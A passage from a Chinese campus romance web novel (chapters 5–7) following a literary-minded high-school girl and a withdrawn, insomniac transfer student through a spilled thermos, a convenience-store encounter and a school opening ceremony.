当然,就算赶上了也不一定能获奖,毕竟蓉城人才济济,她也不过还是一株雨中飘摇的禾苗而已。
因为热爱文学,又或许上天恰好赐予了她一点天赋。
当她站在人生的分岔路口时,第一次鼓起勇气,选择了和妈妈背道而驰的路线。
“就算是这样,你也特别厉害了呀!你才16岁诶,就能有自己的出版书了!”任姝宁听到这个消息感觉比她还要兴奋。
舒禾看着她笑了笑。
心中却怅然。
不知道妈妈得知后会是什么反应。
暴怒?不顾一切地把她圈回所谓的“安全区”中,成为社会长河里一株随波逐流的禾苗?还是,会选择成全……
她不确定,但是她想尝试着掌控一次自己的人生。
舒禾初初萌生的想法愈发坚定。
书店里,两个女孩挨在一起排排坐,窝在这处无人打扰的角落谈天说地。
-
舒禾依旧每天去书店学习,任姝宁为了偶遇帅哥也跟着来了好几天,结果一直没再遇上,她哀叹不已就此罢工。
时间一晃而过,很快就到了八月中旬,开学的前一天,陈燕梅罕见的没有出去打牌,在家监督舒禾整理新学期学习用品,因为离家近,她没有住校,所以用不着收拾生活用品。
到了晚上,陈燕梅让舒远山提前关了店下班,一家三口难得去看了场电影。
她说这是个励志教育片,看完说不定对人生又有新的感悟,让两人专心,结果电影刚开场十分钟,她自己头一歪就睡着了,留舒禾两人安安静静看完全程。
新学期报道时间是周日下午,舒禾本来和任姝宁约好一起到校,结果中午的时候突然收到周老师消息,让她到校后先去她办公室一趟。
周兰芝是她高一语文老师兼班主任,当初她将散文发表到杂志上,也是听从了周老师的建议。
舒禾不知道是不是杂志社那边出了什么问题,心里涌起忐忑,思来想去,还是准备自己先提前到校,便在手机上和任姝宁解释了一番。
附中从大门进去是一条笔直的道路,两侧挺立着葱茏高大的银杏树,绿树浓荫,此时已有三三两两的学生穿梭其中。
舒禾怀着一路的疑虑,敲响办公室大门。
“请进。”
她轻轻推门,办公室里还有其他老师在忙碌,她轻手轻脚地走到周兰芝桌位面前:“周老师好。”
周兰芝笑了笑:“暑假过得怎么样?”
她表情很是放松,应该不是什么坏事,舒禾微微放下心,道:“挺好的。”
周兰芝点点头:“我找你来,是为了分班的事。”
舒禾不禁心又提起来。
“你上学期期末语文考了143分,是年级第一,很棒。”周兰芝称赞道:“后来杂志社那边的编辑也和我说,你的散文很有获奖的潜力。”
“我很看好你,所以和校领导提议,给实验班新增一个名额,将你分到实验班。”
这可是以往从未有过的特例。
话音一落,舒禾惊讶得睁大了眼。
周兰芝解释道:“今天这个提议才审批通过,所以之前没有和你说。”
她顿了顿,接着说:“不过,这件事有好有坏,实验班都是基础好的学生,进度很紧,压力也会比较大,所以我还要再征询你的意见。”
她的数学和英语是个问题。
如果跟不上实验班进度,差距只会越来越大,到时候反而得不偿失。
但意外的,舒禾只在最开始沉默了片刻,几乎没怎么犹豫:“周老师,我想去实验班。”
周兰芝失笑:“不再考虑一下吗?或者和你父母商量商量?”
舒禾摇摇头。
“好。”周兰芝眼露赞赏,“那你先回去休息吧,或者准备一下,今明两天都有考试。”
虽然早就知道会有开学考,但舒禾还是免不了一阵紧张:“好。”
“别担心,相信自己。哦,对了。”
周兰芝弯着眼看她,“我也是你们文科实验班的班主任。”
舒禾恍惚地从办公室出来,胸口砰砰砰地鼓动着。
分到实验班是她想都没想过的事情。
而且她的新班主任还是她最喜欢的周老师。
她赶紧拿出手机,和任姝宁说了这个好消息,再从书包掏出保温杯,一面喝茶水压惊,一面去往教室。
附中分设了高中部和国际部,高中部也称作学部,是和国际部面对面的两栋楼。
贺行雪坐在国际部门口的台阶上横着
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手机打游戏,程敬宇也在旁边激烈奋战,时不时抬头看一眼。
这个点到校的人越来越多,对面教学楼门口立着几块告示栏,正乌泱泱围着一堆人看分班表。
“操,都几点了,还不来。”程敬宇忿忿道。
贺行雪懒散歪靠在墙边,低头专注游戏,没说话。
这半个月他还是一阵一阵失眠,靠着吃药勉强入睡,总算是把作息调回来了。
对面就是学部大楼,人流众多,和国际部这边截然相反的热闹。
学生们聚在一起,免不得高谈阔论自己的暑期生活,什么“旅游”“演唱会”“游戏”啊等等这些词源源不断。
时不时有人路过,然后压低声音兴奋地说:“诶,你快看那边坐着的两个人!那个男生好帅啊我天!”
“卧槽,真的好帅,国际部真的好多帅哥美女!”
“旁边那个是程敬宇吗?那这个帅哥应该是刚转来高二的吧,怪不得我都没印象。”
一个男生摸着自己长度未达两指宽的头发,艳羡道:“为什么他们不用剪头发啊,好爽。”
“别人一年六位数的学费啊,总得有些优待吧。”
另一个女生呜呜说:“我更羡慕他们可以带手机。”
明里暗里的许多道目光扫过来,程敬宇再大条也受不住了,退出游戏,一边给人发消息一边念叨:“妈的这傻逼还说五分钟到,咱俩都搁这当猴子被围观半小时了!”
贺行雪在一旁轻轻地说:“你确定是‘咱俩’吗。”
大多数的目光和议论中心都聚焦在他身上。
程敬宇不可置信地看向他。
紧接着勃然大怒、据理力争:“那我怎么说也是猴子旁边的香蕉吧!”
陪衬的命也是命啊!
贺行雪懒懒啧笑了声:“行,那就赐你个美人蕉的封号吧。”
程敬宇:“神他妈美人蕉!”
文科实验班每届都是固定的九班,倒免去了一通拥挤。
舒禾捧着保温杯准备进教学楼的时候,就恰好听到这声熟悉的怒吼。
她愣愣地抬头望过去。
对面台阶上男生长腿微屈着,阳光斜斜地照射过来,蓬松洒金的碎发搭在他额头,正垂眸懒洋洋歪倚着玩手机。
周围许多路过的人都在兴奋压低声音说“好帅”。
舒禾眼睛缓缓睁圆了。
怎么,在学校里还能遇见他们!
她被惊呆在路中间的时候,没注意身后一个急匆匆的身影冲过来。
那身影左绕右绕地避着人流,看见前方国际部坐着的两人,奋力加快了速度。
“我来了我来了!校门口实在太堵了!”喊声终于引来了那两人的视线。
结果刚喊完,他一个没注意,闷头撞到了前面女生的身上。
舒禾被撞得踉跄了两下,还没盖上的保温杯脱手而出,猛地摔在地上。
里面的茶水溅了一地。
枸杞和茶叶浮在上面飘啊飘。
而这个金黄色荷包蛋保温杯还在骨碌碌向前滚动。
舒禾还没反应过来,眼睁睁看着。
撞人的男生愣在原地看着。
贺行雪和程敬宇也意外看着。
周围的人群三三两两侧头过来,看着这场突发事件。
荷包蛋保温杯一路顺畅无比毫无障碍滚动着,轻微“砰”的一声。
一头撞在国际部门口台阶边。
贺行雪低头看着脚边,那个图案熟悉的幼稚保温杯,再略掀眼皮,扫了眼地上老干部风的枸杞茶叶,最后视线缓缓移向那边傻眼的女孩。
看不出来,荷包蛋还挺会养生的。
5. 第 5 章
舒禾在原地愣了好几秒,随后察觉到四周的视线,脸颊后知后觉烧了起来。
她望向对面门口懒散歪坐的男生,男生也慢悠悠看了过来。
那眼神很淡定,几分漫不经心,看得舒禾莫名其妙心脏发紧,有些踌躇,不好意思当着周围这么多目光上前。
幸亏身旁撞人的男生反应过来,一边苦着脸道歉一边跑过去给她拿杯子,做清洁的阿姨很快赶来将地打扫干净。
这一动就像是打破了平静的画卷,周围同学又稀稀拉拉地散开,就算偶有目光扫来也不张扬。
程敬宇倒是兴致高昂地把杯子捞起来:“我去,咱真和纸巾侠一个学校啊。”
贺行雪不置可否。
“啧啧,不愧是纸巾侠,品味够独特的。”他嘻嘻哈哈地把杯子递给跑过来的眼镜男生,又猛地一拍他肩膀:“让我们苦等半小时了啊老秦,这怎么算?”
秦嘉文接过杯子一边检查一边对他说:“请吃饭,请吃饭行了吧。”
“操,咱俩住校又出不去校门,食堂能吃些什么?”
“你就吃个鸡腿得了。”秦嘉文低头敷衍一句,转动杯身的时候发现了好多磨损和划痕,他有点心虚地摸了下鼻子,抬头对保温杯主人说:“不好意思啊同学,好多地方磨掉漆了,我再赔你一个吧,你是哪个班的?”
舒禾走过来,放眼看了看,只是有几个地方掉漆而已,便对他摇了摇头:“没关系,能用就行,给我吧。”
程敬宇打岔道:“宰他一顿啊纸巾侠!这小子赚了钱给我炫耀了一个暑假,结果一个鸡腿给我打发了,太他妈不厚道了。”
贺行雪闲闲地说了句:“再惦记吃你都快成鸡腿了。”
“大帅哥,大少爷,我的猴王,别再戳你家美人蕉的心窝子了啊。”程敬宇快给他跪下了。
“滚蛋。”
贺行雪被这个称呼油腻到,有点嫌弃地起身,企图离他远点。
他一起身,和舒禾的距离瞬时拉近了。
男生很高,舒禾目测自己大概只到他肩膀,他身上那股淡淡的苦橙香气扩散开来,酸涩中混着丝柏味道,不过分浓烈,清淡好闻。
她不知怎么下意识多呼吸了一下。
雪松的冷冽和花香的甜腻,被柑橘味调和,不单单好闻,舒禾甚至觉得还带有些许舒缓心神的作用,感觉自己像是一叶飘荡在海面的扁舟,无忧无虑自在悠闲。
好独特,这是沐浴露的味道?还是洗衣液?
舒禾抬头的时候,正对上男生欲言又止的表情,那眼神透着说不出的复杂。
舒禾:“……”
他看到了吗?
他不会正好瞧见她闻味道了吧……
那岂不是显得她跟个痴汉一样?
天啊。
她乍然窘迫,别过头去不敢对视,嗫嚅着对秦嘉文说:“同学,你把杯子给我吧。”
她想赶紧逃离现场。
“真的很不好意思。”秦嘉文递给她,看到遍体鳞伤的保温杯,有点愧疚不安:“真的不用赔你一个吗?”
她摇摇头,拿到杯子忙不迭往教室跑了。
耳根在白皙皮肤上显得特别红。
程敬宇惊啧,转头对秦嘉文说:“哎,她不会对你有点意思吧老秦?这耳朵红得跟什么似的。”
秦嘉文:“啊?没有吧?”
秦嘉文爸妈都是研究历史的老学究,受大人的熏陶,他在这方面特别迟钝。
他想起什么,从书包里翻出一个黑色手提包:“对了阿雪,东西给你带来了。”
“谢了。”
贺行雪看看他,不由回忆起刚才那副画面。
女生垂着头,浓密的睫毛软软搭下来,鼻尖微微耸动着,那模样特别像只寻觅粮食的小松鼠。
他觉得程敬宇好像搞错了对象。
-
舒禾觉得自己这辈子都不想再遇到那三个人了。
但好像屋漏偏逢连夜雨,她正在教室里和许久未见的任姝宁互诉衷肠的时候,门口走进来一个男生。
两人碰面都愣了愣。
秦嘉文:“诶你也是九班的!”
舒禾点头:“嗯。”
“我叫秦嘉文,你叫什么名字?”
“舒禾。”
“舒禾同学,今天真是很抱歉啊。”
“没关系,当时人多碰撞很正常。”
秦嘉文有点不知如何接话了,他本来也不是健谈的类型,比起和人找话聊,他宁愿多做几张历史卷。
男生最后对她们笑笑,找了个不远不近的位置坐下。
“秦嘉文,这不是我们年级第一的名字吗?”在他走远后,任姝宁小声道。
舒禾:“啊?”
“你没看嘛,就教学楼门口那个告示栏啊,贴着年级前十的成绩单,第一个就是他的名字。”
当时人太多,且后面发生那么尴尬的事,舒禾确实没去看,好奇问:“他三门主科多少分啊?”
“数学146,语文138,英语142。”任姝宁记忆深刻。
这么厉害,舒禾感叹。
“对了。”比起成绩,任姝宁显然对别的更兴奋:“你看论坛了吗?就那天在书店我和你说的那个帅哥,他竟然是我们学校的!今天还被好多人拍到了!”
舒禾:……
论坛没看,但是看到真人了。
任姝宁显然误解了她的沉默,兴致高昂地点开论坛和她分享:“你看这张侧颜,人怎么可以长得这么牛逼啊呜呜呜,随手一拍就跟明星写真似的!”
照片上男生散漫撑着下巴,五官线条深刻冷锐,眼皮窄长而薄,意兴阑珊地半垂着,浑身一副对周遭不感兴趣的模样,很有几分颓冷的气质。
舒禾目光上移,看到发帖人的文案:
求大佬帮我ps掉旁边那个人,想用来做屏保,感恩!
就,莫名有点想笑。
晚饭后同学们陆陆续续来到新班级,有男生夹着篮球携着一身汗臭进来,也有个戴眼镜女生看书走路被门槛拌了一个趔趄,最后还有几个相谈甚欢的同学一起进来,显然是早就认识的。
晚饭后人就差不多到齐了,想起马上就要考试,舒禾便起身去接了杯水。
饮水机在教室最前方,此刻前排的几个女生趁着还没收手机,还在看论坛进行最后的狂欢。
“妍妍,你朋友真认识他呀?”
“肯定啊,我朋友就是国际部的,他们一个年级就一个班,都是同学,而且我朋友长得漂亮学习也很好,不是那种花钱混日子的,没准儿他们关系还不错。”
“哇,真的狠狠羡慕了呜呜……”
纯净水汩汩流动而下。
好像有很多人喜欢他。
舒禾默默地想。
不过也正常,耀眼的人走到哪里都能大放异彩。
接完水,她想起这还是一个“身残志坚”的保温杯,于是尝试着倒置了两秒,试试是否漏水。
却见盖沿很快溢出水圈,聚成一滴,啪嗒滴落在地。
还真摔坏了。
舒禾愣了愣。
她思忖着今晚回家在校门口买个新的,反正用这么久也确实该换了。这样想着,舒禾转过身准备回座位,却正正对上秦嘉文沮丧的视线。
此刻的年级第一望着她“残缺”的水杯,脸上满是懊悔和愧意。
……舒禾只能安慰似的对他笑了笑。
秦嘉文惭愧地垂下眼。
其实晚饭时他去了趟小卖部,本来准备买个新杯子,但不知是否因为刚开学,货架有一半都是空的,问了老板娘才得知暂时没有杯子卖,只得作罢。
现在看到女生善解人意的笑容,秦嘉文更是愧疚难当,但他又出不去校门,想来想去,只能拿出手机给贺行雪发消息。
只得拜托一下多年未见的兄弟了。
他总不能让女生这几天都用个漏水的杯子吧。
铃声很快打响,周兰芝抱着一摞试卷走
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进教室,自我介绍道:“同学们好,我叫周兰芝,是你们今后两年的语文老师兼班主任。”
她转身在黑板上写下名字,没有冗长的发言措辞,让大家上交完手机,便匆匆开始了新学期第一场考试。
附中有三节晚自习,今天前两节用来开学小测,科目是语文和数学,剩下的几门放到明天考,考完出成绩后再调座位。
发放试卷后,舒禾习惯性先浏览全卷,忐忑又庆幸地发现,竟有好几道题是高二的内容,这才是开学第一天,还好暑假有预习,不然恐怕连及格都难。
虽然肯定是班级倒一,可她也属实不想和别人差距拉到令人侧目的地步。
饶是如此,考数学的时候她也解得有些艰难,剩了最后一道大题写不出来。
走读生一般只上前两节晚自习,舒禾起身的时候,教室里安静得只闻翻页声,休息时亢奋唠嗑的同学们都已经在开始预习新内容,他们对于新学期适应得极快,且都十分自觉,压根不用人督促。
这群智商高超又努力进取的人,就是她未来两年的同学,舒禾心里微叹,捏紧了书包带子,紧迫感愈发强烈。
走读来回路程很浪费时间,且回家缺少学习的氛围,不自觉想躺平,因而高中走读生少之又少,偏偏附中住宿环境优越,费用高昂,陈燕梅觉得没有必要,反正走路来回也就半小时,就只给她交了食堂餐费。
舒禾走到学校大门口时,只有寥寥几道身影,她出示走读证后,先去了学校门口最近的一家24h便利店,准备买个水杯。
便利店不算大,前面两排货架卖的是柴米油盐和零食泡面等等,第三排是男士和小孩的水杯,舒禾心事重重地沿着过道走,走到第四排女士用品区时,终于抬了抬眼,旋即整个人都被震在原地。
一个极其出乎意料的人。
与这里极其不适配的人。
舒禾竟下意识退了两步,随即又发觉自己行为不妥,呆了两秒,犹豫着走了回去。
便利店灯光昏黄,过道狭窄,男生穿着黑白色校服,宽松的轮廓更显得他清瘦高挑,兀自站在一排排造型可爱精致的水杯前,目光在上面睃巡着,似乎正在挑选。
他似有觉察,微微偏头,一双黑眸没什么情绪地看了过来。
视线相接的一刹,舒禾极力控制自己很想转身跑路的腿,瑟然望着冷冷淡淡的男生,她勉强露了个笑:“好、好巧呀。”
一点也不巧。
贺行雪想,若不是受人所托,他现在应该在家睡觉,而不是站在这里,对着一排排粗制滥造的杯子犯了选择困难症。
但他没说话,只不冷不热点了下头。
整个生人勿近的模样。
舒禾便懂了,他并不想搭理自己,站在这里大概是正在给女朋友挑选水杯吧,这样想着,她稍稍放松下来,强自镇定,扬眸打量起最近的一排货架来。
素色水杯、小猫图样的、碎花图样的……款式很多很多,可惜没有荷包蛋。
视线挨个扫过去,舒禾后颈莫名地慢慢溢出冷汗,总感觉如芒在背,浑身不自在,仿佛成了被人盯梢的猎物。
他不是给女朋友挑选水杯吗?怎么一点动静都没有?
安静得和尸体一样……
舒禾有点毛骨悚然了,想到回家还要走一段路灯损坏的路,她便不想再在这里耗下去,速战速决地随手拿了个水杯,小黄鸭图案的。
前往收银台时,她步伐沉重,因为她发现,那个“死去已久的尸体”竟又意外活了过来。
且就亦步亦趋跟在自己身后。
舒禾没敢回头,心想他大概是受自己启发挑选到了满意的礼物吧……她轻轻颤着手将杯子放到收银台上。
“78元,我扫您。”
舒禾尽量忽视旁边那道颀长的身影,从手机里调出付款码,向收银员递过去。
哪想到,一只苍白清瘦的手比她速度更快。
“扫我的。”
男生的声音冷峻果断。
6. 第 6 章
舒禾懵了一瞬,抬头朝他望过去:“啊?”
贺行雪看了她一眼,没说话,手机付款码依旧朝向收银员。
眼见收银员抬起扫码机器,舒禾脑子还没反应过来,手在慌乱中竟下意识伸了出去,明晃晃按住他的手腕:“不、不行。”
他的皮肤不同于其他男生风吹日晒的粗糙,触感冰凉又细腻,她却犹如被烫到似的飞快收回了手,腮颊染绯,低头不看他,却固执将手机往前递了递。
贺行雪盯着方才被人碰过的手腕,眉心渐渐折出一道褶皱。
收银员姐姐已经见多识广地笑起来,干脆利落扫了男生的付款码,还以一副过来人的口吻调笑道:
“可别替男人心疼钱啊妹妹!”
显然把他们当作了正在闹别扭的小情侣。
“啊,我们不、不是这样……”
舒禾脑袋卡住了,惊惶之下舌头像打了结,混乱中竟有些组织不出语言。
身旁的男生却一个字都懒得说,仿佛将尸体贯彻到底。
收银员姐姐笑得高深莫测:“你要说你们不是情侣对吧?没事我懂,我非常懂。”
不就是早恋嘛。
遥想当年,她也是万叶从中过……
舒禾有点崩溃,大脑变得木讷讷的。
直到捧着新杯子站在便利店门口,微凉的夜风徐徐拂过,她乱成一锅粥的脑子被凉意一激,才渐缓清醒了些许。
思及下午的事,刚才卡死的脑袋一转,顿时明白了过来,原来是受了他朋友的嘱托。
舒禾看向前方三米之外的男生,默默做了做心理建设,鼓足勇气小声叫住他:“贺同学……”
贺行雪今日罕见在外面待了一天,精力和耐性已然耗费一空,只想赶紧回到自己的安全窝。
耳边好像有蚊子嗡嗡飞过,他烦躁伸手揉了下耳廓,急于回家的脚步未停。
“……”
舒禾深吸口气,提起声音再次喊道:“贺同学!”
贺行雪这次听见了,好像不是蚊子飞过,是那个荷包蛋的声音。
他顿了顿,没停,依旧往前走。
只是速度显而易见慢了下来。
舒禾赶紧小跑几步追上去,一口气跑到前方截住了他,不知是累的还是什么,脸颊憋得有点红。
贺行雪这才按耐着浑身不适停住,他微垂下眼皮,将面前女生上下打量了一番。
个子有点矮,眼睛黑润乌亮,皮肤莹白似雪,大概齐肩的头发在脑后扎成一个小啾,风中一颤一颤地晃。
脸颊一点婴儿肥,倒有几分荷包蛋圆润的样子。
“贺同学,这个水杯应该是秦嘉文拜托你买的吧?不好意思啊,我不能白白收下。”舒禾认真道,“我原来的杯子已经很老旧了,值不了那么多钱,不过,我现在也正好需要一个水杯,要不我把钱转你微信吧。”
她拿着手机打开扫码界面,眼神询问地望向男生。
贺行雪突然没头没尾问了句:“你怎么知道他叫秦嘉文?”
“啊?”舒禾一愣,“我们在一个班啊……”
“哦。”贺行雪慢吞吞地应。
男生之后便不再开口,也没有任何动作,就站在原地,双手随意抄在黑色校服裤里,侧眸冷冷淡淡盯着路边的树。
那棵树是成精了吗?
舒禾有点疑惑,“那,我微信把钱转你?”
话音甫落,很快,她收获了男生一道深奥难懂的视线。
这眼神里错综复杂地交织着各种情绪,像打结缠绕的毛线团,混沌难分。舒禾以谨慎的态度忖度了半晌,心绪百转千回,却依旧不解其中之意,于是就这么愣愣地望着他。
手臂都快举酸了,不明显地打着颤儿。
贺行雪遽然收回视线,不欲再多纠缠,直接绕过她往前走。
舒禾瞠目结舌,哪有这样不理人的?她急忙跟着追了两步:“诶,贺同学……”
他语气平直扔下一句:“有问题找秦嘉文去。”
男生走得很快,表明了不想搭理她,舒禾追了一段后慢慢停下脚步,站在原地无奈叹口气。
这个男生,脾气好像不太好呀。
见时间不早,只好先行回家。
身后脚步消失后,贺行雪速度便慢下来缓缓向前走着,夜里道路上空空荡荡没多少人,他没什么精神地耷拉着眉眼,走到了一根粗壮笔直的电线杆前,停下,回头望了一眼。
银杏拱卫的道路中,女生纤小的身影笼着一层月色,低头朝与他相反的方向迈步而行,没多一会儿,她脚步一转,拐入一条小巷,身影渐渐隐没入那方黑暗里,直至消失不见。
他索然地收回视线。
那个方向也能通往范兴文的书店,但这么晚自然不可能是去看书。贺行雪记得,那边似乎有一片老旧脏乱的居民区,他第一次路过的时候,简直被门口那股味臭到窒息,后来便敬而远之了,宁愿绕路也绝不再踏足一步。
月色清寂寥落,他在原地驻足须臾,片刻后,转身提步回家。
母亲去世后,贺行雪便回国住在了外公外婆家里,独自颓废了半年,两个老人内心难安却也不敢催促,生怕刺激到他,只能等待他在心理医生和药物的作用下慢慢好转。
贺行雪刷脸进入第一道院门,刚踏进花园里,走了两步,屋中大门咯吱一声随之敞开,露出外公外婆和容姨往外探看的脸。
三人看到身着校服神色倦怠的男生,俱露出熨贴的笑来。
“回来了啊小雪,今天感觉怎么样?”梁玉珍快步从屋里走出来,“老师好
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不好啊?同学们易不易相处?食堂吃得还习惯吗?心里有没有哪里不舒服的?”
梁玉珍一身剪裁极好的藏青长款旗袍摇曳,自从电视台退休后,她闲呆不住,几乎每日约着公园湖泊四处拍照,显然今晚也是从姐妹团里聚会回来。
一连串问题砸下来,贺行雪边走边统一回复:“还行,挺好的。”
得到这个答案,梁玉珍和范兴文相视而笑。
虽说他们并未急切地准备让他就此进入正常人的校园生活,之后大概率还是要脱产的,但踏出艰巨的第一步总令人喜不自胜。
贺行雪洗漱完躺到床上,分明身体已经极度疲惫,甚至由于心脏负荷过重后,胸口开始泛起闷窒恶心之感,但他阖着双目,却无论如何也酝酿不出睡意。
砰、砰、砰……
重重的心悸声在万籁俱静的深夜清晰可闻。
贺行雪心里骂了声,爬起来吃了片曲唑酮,背靠回床上,拿起手机准备打把游戏。
在战场上极速收割人头,半小时很快过去,他好歹记得明天还要去学校,一把胜利后便退出游戏。
然而刚一熄屏,他伸长手臂,将手机放回床边柜的动作却仿佛卡带的机器,在空中滞了许久,接着,像是受到某种诡秘的指引一般,缓之又缓地收了回来。
然后鬼使神差地点开浏览器,荧光中白得病态的手指搜索着:
——“女生故意摸自己手腕是为什么?”
男生黑眸平静,等待屏幕缓缓跳出答案:
该动作有多种含义,我们可从几种可能性来分析:
1.只是单纯习惯性的动作。
2.缓解焦虑或紧张。
3.提醒或暗示时间来不及了。
4.表达不适或抗拒。
……
总结建议:不要过度解读,这很可能只是一个习惯性的动作,需结合其他来判断。
目光从一行行无的放矢的分析上一掠而过,贺行雪脸庞被映得惨白,他情绪没什么变化,手指动了动,又加上几个字:
——“女生故意摸自己手腕,又向自己要微信是为什么?”
按下确认键后,屏幕跳出一大片文字,他直接划到了末尾,上面总结道:
恭喜你,这很可能是对方表达好感的方式,你吸引到了一个勇敢真诚的女生,请务必把握住这次机会!
贺行雪啪得一声彻底关掉手机,扯过被子躺下身,面无表情闭目静眠。
他对最后“务必把握住这次机会”几个字嗤之以鼻。
要把握机会的,怎么着也不可能是他。
贺行雪闭着眼想七想八,偌大的房间逐渐安静下来。
窗外夏风微燥,树叶沙沙。
不知何时,药物好像终于起了效。
7. 第 7 章
翌日一早连考三堂课后,高二年级的学生们哀嚎着停了笔。
九班也是同样,七嘴八舌地讨论着这次测练,舒禾前面那名男生瘫在椅背上,幽怨的像只游魂:“好多题超纲了啊老师……”
在讲台上整理试卷的周兰芝抱以神秘一笑,并不说话。
大课间铃声震荡,今日是开学典礼,走廊上人群拥挤,在好多道对答案的窃窃私语下,舒禾也忍不住看向身旁的任姝宁:“阿宁,你还记得英语最后五道选择题答案吗?”
最后五道选择很难,任姝宁也有两道题不确定,所以收卷时特地记了一下,准备考完找人对答案来着,她回忆道:“我想想啊……我选的是,CACCB,但是最后两道还不太确定。”
说完忍不住吐槽:“这次考得也太难了!”
舒禾先由衷赞同道:“真的很难……”
随后在心里默默对了对答案,她选的是CABBD,最后三道答案完全不同,舒禾心脏微微一崩,哭丧着脸说:“完蛋了,我最后三道好像全错了呜呜呜……”
“不一定不一定。”任姝宁挽着舒禾跟随人流下楼时,眼神一晃,瞥见了落后几步、正站在她们侧上方楼梯上的人影。
拥挤的人潮中,那人头顶仿佛闪耀着智慧的光辉,差点儿亮瞎任姝宁的脸,她赶紧拉着舒禾避到一旁空旷地带,对他喊道:“秦嘉文!”
舒禾听到熟悉的名字,轻轻一怔,此时秦嘉文听到呼喊,低头看了过来。
他抬了抬脸上厚厚的镜框,朝她们走近:“怎么了?”
舒禾看见他就想起昨晚水杯的事,但现在大家都在前往操场,路上拥挤又吵闹,时机不太恰当,只好把这事往后推了推。
任姝宁以一种万分恳切的语气说:“小的求问学神,最后五道选择题你的答案是什么?”
她求知的眼神很是渴望。
舒禾:“……”
秦嘉文:“……”
这奇特的开场白实在把他惊住了,秦嘉文愣了一会儿,连连摆手:“别这么说……”
三人重新跟随人群往下走,秦嘉文平时没有对答案的习惯,仔细回忆了一下:“我只记得最后两道了,选的是DC。”
任姝宁顿时捂脸:“啊,我两道全错了……”
舒禾跟着心塞:“我错得更多……”
姐妹俩抱头痛哭:“呜呜呜……果然考完试还是不能对答案!!”
秦嘉文目瞪口呆,手足无措地看着她们。
不是,怎么回事,他此时该做点什么?
他从脑海里艰难搜刮着安慰人的话语。
两分钟后,这位英语次次接近满分的男生,开始了对他人的心灵疏导:“没事的,这次只是开学测试而已,后面还有很长一段学习时间。况且,我的答案其实也不一定都是对的……”
他有理有据疏导完,自觉多少有一点安慰效果,侧过头去,竟直直收到了两人谴责的目光。
秦嘉文:……?
他有点怀疑人生地闭上了嘴。
操场站位是高中部在前,国际部在后。说是在后,其实他们在高中部庞大的人群中,只占了一个十分偏僻的角落。
毕竟整个国际部也就只有七八十人,再抛掉一部分脱产不来学校的,他们稀散的队伍与学部一比,显得是那样的沧海一粟。
而好巧不巧,九班就站在这一粟的前面。
每班队伍按照身高排列,于是,舒禾便以光荣的“第二名”站到了队伍前方,与第十名的任姝宁分隔开。
舒禾默默站好,心中叹气。
唉,这要是成绩的第二名该多好。
典礼尚未开始,周围同学微微躁动,舒禾站在队伍前端比较显眼的位置,没敢乱动。
身后好几道喁喁私语飘过来:“哎,国际部好像就在我们后面,你看见那个帅哥了吗?”
“我回头找了好一会儿了,没看见呀?”
“我上次在教学楼门口见过他,那腿真的巨长!人应该超级高,排在队伍很后面了吧……”
舒禾很想关闭自己的听觉系统,实在是被狠狠打击到了。
她初一的时候一米六,比周围好多同学高一头,曾经信心满满以为自己会长到一米七,然后三年过去了,高一在医院体检量身高时,体检报告单上,赫然显示着那个精确到小数点后一位的震撼数字——
160.5cm。
嗯,好,很不错。
顶着夏日酷暑,烈日炎炎,主持人终于上了台,身后嘀咕声逐渐消失,操场安静下来。
首先是一段超长的激情念白,紧接着是学生代表慷慨激昂的超长发言,舒禾站得腿酸冒汗之际,总算等到了副校长上台讲话——
“老师们同学们,伴随八月暑风来临,我们也引来了新的学期……”
日头渐高,台上讲得热血沸腾唾沫横飞,台下站得萎靡不振零星减员,队伍中陆续有体质虚弱的人倒下,副校长登高望远,自然将这一幕收入眼下,话音一转——
“我看见我们好几位同学倒下的身影,心里颇感遗憾,步入高中学业虽然繁重,却也应该以身体为先,咱们要把一切有规划有条理地进行下去,没有健康的身体,怎么能专心地学习呢?就像今天,假如他们好好吃了早饭,还会这样吗?”
这个话题很快岔过去,继续他事先准备的演讲稿。
舒禾脸色泛白,心里默念我吃了早饭也快站不住了,刚腹诽完,竟见前面那个女生腿软一跪,毫无征兆地倒下了。
她猝不及防睁大眼睛,顿时着急起来,站在侧前方的周兰芝瞥见,示意她把女生扶到医务室喝点糖浆补充体力。
晕倒就是一瞬间的事,女生膝盖重重磕到粗糙的假草坪上时,意识就恢复了过来,只是身体还有些虚软无力。舒禾上前把她的手搭在自己肩上,女生借力站了起来。
路过后排满脸担忧的任姝宁时,舒禾小声说了句没事,扶着人费力离开了队伍。
医务室就在教学楼和操场中间,并不算远,路上女生勉强抬了抬头,看见舒禾同样苍白的侧脸,心中一酸,特别愧疚地说:“不好意思,麻烦你了……”
舒禾有些胸闷头晕,现在不太能说得出话,只好摇了摇头表示没事。
医务室里人影憧憧,已经有好几个其他班的人坐着休息,舒禾扶着女生进来的时候,还看见了一个意想不到的人——
那个腿巨长的贺同学竟也安然坐在这里,除去同样苍白的脸色之外,他的校服干爽,头发蓬松,并不像其他人暴晒过后的汗意涔涔,看起来像是一开始就在这里了。
校医走过来,帮她把女生扶到凳子上坐着,递给女生一碗糖浆水后,又赶紧转身去照顾别人。
舒禾忍着头晕准备借靠着墙缓一下,意想不到的是,女生接过碗后没有立刻喝,强撑着提了提声音:“老师,还有她也不太舒服。”
被指着的舒禾微微一怔,抬起眼,校医和贺行雪闻声一同看了过来。
校医一愣,很快过来又给了她一碗,舒禾没有拒绝,轻声说了句谢谢,接着道:“她刚才膝盖磕到草坪上,可能擦伤了。”
“好,我去拿消毒水过来。”
医务室里两个校医忙上忙下,贺行雪百无聊赖坐在角落,隔着错杂的人影,时不时掀眼望向对角线那方安坐的人。
女生捧着小小一个白瓷碗,低头一口一口啜着,腮颊就如同白瓷一般细腻雪白,只是那对秀气的细眉不同寻常地蹙了起来,像是彰显主人此刻的难受。
她偶尔偏过头,同旁边的人说话。
“你好点了吗?”
女生点点头,声音还是有些虚弱:“我叫卫音,你叫什么?”
“我叫舒禾。”
“今天谢谢你,舒禾。”
她的语气听起来有些低落,舒禾忍不住侧了侧目,但卫音像是忍住了,睫毛垂下来掩住神情,没有多说。
沉默蔓延着,直到校医拿着消毒水过来,将女生裤腿向上卷起,露出膝盖红通通的擦伤。
消毒液接触伤口一刹爆发尖锐的刺痛,让卫音猛地抽了口气,舒禾注意到,担忧问:“很疼吗?”
但这好像一种征兆,卫音摇了摇头,胸口的起伏却越来越剧烈,校医匆忙地擦着消毒水,她死死压抑着,嘴唇咬得发白,眼眶有湿润涌出,却兀自强忍着不让一丝声音泄出来。
这个样子让两人都愣了愣,都以为她是被弄疼了,舒禾见还有一边没擦消毒水,想了想,对校医道:“要不您先去照看其他同学,这里让我来?”
